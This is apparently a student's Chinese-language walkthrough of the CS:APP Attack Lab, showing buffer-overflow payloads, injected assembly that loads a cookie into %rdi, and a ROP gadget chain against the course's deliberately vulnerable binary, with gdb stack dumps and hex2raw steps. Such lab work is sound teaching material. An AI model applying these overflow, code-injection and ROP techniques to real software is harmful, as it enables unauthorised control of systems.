[CS:APP] Attack Lab

Part 1：缓冲区溢出攻击

Phase 1

[--------------------------code-----------------------]
   0x4017a5:    nop
   0x4017a6:    nop
   0x4017a7:    nop
=> 0x4017a8 :   sub    $0x28,%rsp
   0x4017ac 4>: mov    %rsp,%rdi
   0x4017af 7>: callq  0x401a40 
   0x4017b4 12>:    mov    $0x1,%eax
   0x4017b9 17>:    add    $0x28,%rsp

buf开创0x28 = 40 个字节
随便填充40个字符

Dump of assembler code for function touch1:
   0x00000000004017c0 <+0>: sub    $0x8,%rsp
   0x00000000004017c4 <+4>: movl   $0x1,0x202d0e(%rip)        # 0x6044dc 
   0x00000000004017ce <+14>:    mov    $0x4030c5,%edi
   0x00000000004017d3 <+19>:    callq  0x400cc0 @plt>
   0x00000000004017d8 <+24>:    mov    $0x1,%edi
   0x00000000004017dd <+29>:    callq  0x401c8d 
   0x00000000004017e2 <+34>:    mov    $0x0,%edi
   0x00000000004017e7 <+39>:    callq  0x400e40 @plt>
End of assembler dump.

touch1的地址是0x4017c0
因为是little endian的机器所以将
c0 17 40 00 00 00 00 00
用hex2raw转化为字符，添加到40个a的后面就行了

结果：

[-----------stack--------------]
0000| 0x5561dc78 ('a' <repeats 40 times>, "\300\027@")
0008| 0x5561dc80 ('a' <repeats 32 times>, "\300\027@")
0016| 0x5561dc88 ('a' <repeats 24 times>, "\300\027@")
0024| 0x5561dc90 ('a' <repeats 16 times>, "\300\027@")
0032| 0x5561dc98 ("aaaaaaaa\300\027@")
0040| 0x5561dca0 --> 0x4017c0 (<touch1>:    sub    $0x8,%rsp)
0048| 0x5561dca8 --> 0x0 
0056| 0x5561dcb0 --> 0x401f24 (<launch+112>:    cmpl   $0x0,0x2025bd(%rip)        # 0x6044e8 )

Phase 2

touch2 有参数传递，要改变寄存器rdi里存放的值

结果：

[---------------------stack---------------------------]
0000| 0x5561dc78 ('a' 40 times>, "\260\334aU")
0008| 0x5561dc80 ('a' 32 times>, "\260\334aU")
0016| 0x5561dc88 ('a' 24 times>, "\260\334aU")
0024| 0x5561dc90 ('a' 16 times>, "\260\334aU")
0032| 0x5561dc98 ("aaaaaaaa\260\334aU")
0040| 0x5561dca0 --> 0x5561dcb0 --> 0xc359b997fac7c748 
0048| 0x5561dca8 --> 0x4017ec (:    sub    $0x8,%rsp)
0056| 0x5561dcb0 --> 0xc359b997fac7c748 

依旧是40个a，接着是把返回的地址改为调用0x5561dcb0（修改寄存器的代码），修改0x5561dca8的值为调用touch2，修改0x5561dcb0的值为调用添加的代码code
栈的指针指向0040调用完code之后，刚好向下移动到0048调用touch2

code代码：

mov $0x59b997fa,%rdi
ret

编译：

gcc -c code.s
objdump -d code.o > code.d
./hex2raw  -i code.d > code.r

看到网上的码还有一步pushq $0x004017ec （touch2的地址）
结果：
ret时返回到0x5561dc78（%rsp的地址？）执行注入的代码，然后直接调用touch2了

[-----------------------stack-------------------------]
0000| 0x5561dc78 --> 0x6859b997fac7c748 
0008| 0x5561dc80 --> 0x303030c3004017ec 
0016| 0x5561dc88 ('0' 24 times>, "x\334aU")
0024| 0x5561dc90 ('0' 16 times>, "x\334aU")
0032| 0x5561dc98 ("00000000x\334aU")
0040| 0x5561dca0 --> 0x5561dc78 --> 0x6859b997fac7c748 
0048| 0x5561dca8 --> 0x0 
0056| 0x5561dcb0 --> 0x401f24 (112>:    cmpl   $0x0,0x2025bd(%rip)        # 0x6044e8 )

Phase 3

touch3参数是string
将str存到0x5561dcb8的地址上
code将str拷贝到%rdi
调用同上

[-----------------------stack-------------------------]
0000| 0x5561dc78 ('a' )
0008| 0x5561dc80 ('a' )
0016| 0x5561dc88 ('a' )
0024| 0x5561dc90 ('a' )
0032| 0x5561dc98 ("aaaaaaaa")
0040| 0x5561dca0 --> 0x401900 (6>:  (bad))
0048| 0x5561dca8 --> 0x9 ('\t')
0056| 0x5561dcb0 --> 0x401f24 (112>:    )

str是cookie的地址值用ascii转为字符串
（0x）59b997fa
对应35 39 62 39 39 37 66 61 00（字符串后面补空字符’\0’）

code代码：

mov $0x5561dcb8,%rdi
ret

Part2: ROP

Phase 4

看了看文档，解释的很清楚w
利用已经有的代码片段gadget，通过汇编的解释，来调用自己想要执行的程序

第一个程序还是调用touch2
要将cookiee放入rdi之中
但pop %rdi（5f）的指令很少出现
所以转换为

popq %rax
movq %rax %rdi
ret

根据表里的编码
popq %rax的编码是58
movq %rax %rdi的编码是48 89 c7

在rtarget.d里找到这两个代码片段

gadget1

00000000004019a7 :
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3                      retq   

地址为0x4019ab

gadget2

00000000004019a0 :
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq  

00000000004019ae :
  4019ae:   c7 07 48 89 c7 c7       movl   $0xc7c78948,(%rdi)
  4019b4:   c3                      retq   

273的地址是0x4019a2

转化为little endian的形式然后就是合并，转换为字符串注入

cat offeset gadget1 cookiee gadget2 touch2 > code
./hex2raw -i code > code.r

然后就成功了

[---------------stack----------------------]
0000| 0x7ffffffee8a0 ('a' <repeats 40 times>, "\253\031@")
0008| 0x7ffffffee8a8 ('a' <repeats 32 times>, "\253\031@")
0016| 0x7ffffffee8b0 ('a' <repeats 24 times>, "\253\031@")
0024| 0x7ffffffee8b8 ('a' <repeats 16 times>, "\253\031@")
0032| 0x7ffffffee8c0 ("aaaaaaaa\253\031@")
0040| 0x7ffffffee8c8 --> 0x4019ab (<addval_219+4>:  pop    %rax)
0048| 0x7ffffffee8d0 --> 0x59b997fa 
0056| 0x7ffffffee8d8 --> 0x4019a2 (<addval_273+2>:  mov    %rax,%rdi)
0064| 0x7ffffffee8e0 --> 0x4017ec (<touch2>:    sub    $0x8,%rsp)

一开始试了237，但不知道为什么这个返回的时候返回到了别的函数导致segmentation fault